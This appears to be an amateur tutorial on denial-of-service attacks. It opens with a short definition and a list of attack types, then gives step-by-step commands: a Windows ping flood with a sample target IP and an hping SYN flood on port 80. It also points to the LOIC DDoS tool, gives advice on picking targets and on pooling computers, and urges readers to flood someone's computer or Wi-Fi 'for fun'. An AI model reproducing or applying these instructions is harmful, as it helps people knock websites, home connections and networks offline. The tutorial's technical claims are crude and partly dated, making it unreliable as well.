=>What is Dos Attack ?

      Denial-Of-Service attack (DoS attack) or distributed denial-of-service attack (DDoS attack) is an attempt to make a computer or network resource unavailable to its intended users  A DoS attack can be perpetrated in a number of ways.

The five basic types of attack are:


=> Consumption of computational resources, such as bandwidth, disk space, or processor time.
=>  Disruption of configuration information, such as routing information.
=>  Disruption of state information, such as unsolicited resetting of TCP sessions.
=>     Disruption of physical network components.
=> Obstructing the communication media between the intended users and the victim so that they can no longer communicate adequately.

A DoS attack may include execution of malware intended to :

=> Max out the processor's usage, preventing any work from occurring.
=>    Trigger errors in the microde of the machine.
=>  Trigger errors in the sequencing of instructions, so as to force the computer into an unstable state or lock-up.
=>   Exploit errors in the operating system, causing resource starvation and/or thrashing, i.e. to use up all available facilities so no real work can be accomplishe.
=>Crash the operating system itself.

=>How To Put a DOS ATTACK In Different Ways .
First Method :: =>

DOS Attack by CMD (command prompt)    


open your cmd (window key + r) =>

 then type nslookup for the website ip =>

 for eg. nslookup WWW.XYZ.CO.PK
after finding the ip now ready for dos attack
type in command :


ping website-IP -l 65500 -n 10000000 -w 0.00001-n 10000000=
the number of DoS attemps.. 
  

U can change the value "10000000" with your desiredvalue u want to attempt attack.

website-IP= Replace the text with the ip address of the site u want to be attacked..

-w 0.00001 = It is the waiting time after one ping attack.

for eg: if the ip address is 112.158.10.2

just type

ping 112.158.10.2 -l 65500 -n 10000000 -w 0.00001

Second Method :: =>

Dos  attack  with  backtrack 

Open ur konsole and type these method and ur done

Step 1=>
host (website name )   [get the ip address of website]

Step 2 =>
hping -i u100 -S -p 80 (ipaddress of website)


Dos attack with LOIC Software

All the above method are manual method :: now here goes a software name call LOIC

Loic is a tool used for DDOS (distributed denial-of-service) attack on a website!

To download the LOIC software => Click on me J


Note =>

::  Dos attack can be done or they are just effective for the small website.

:: do not put dos attack on big website it will not work.

:: or try to have 40 to 50 computers to put dos attack on big website and never put dos attacks on google, yahoo, bing.

Now fun with Dos attack 
=> Put dos attack on some ones computer ip his computer internet gets slow, even computer also gets hang.

=>Put Dos attack on some ones wifi (BSSID) :: wifi connection speeds gets slow and the all the person using wifi gets low or very slow speed of internet ::
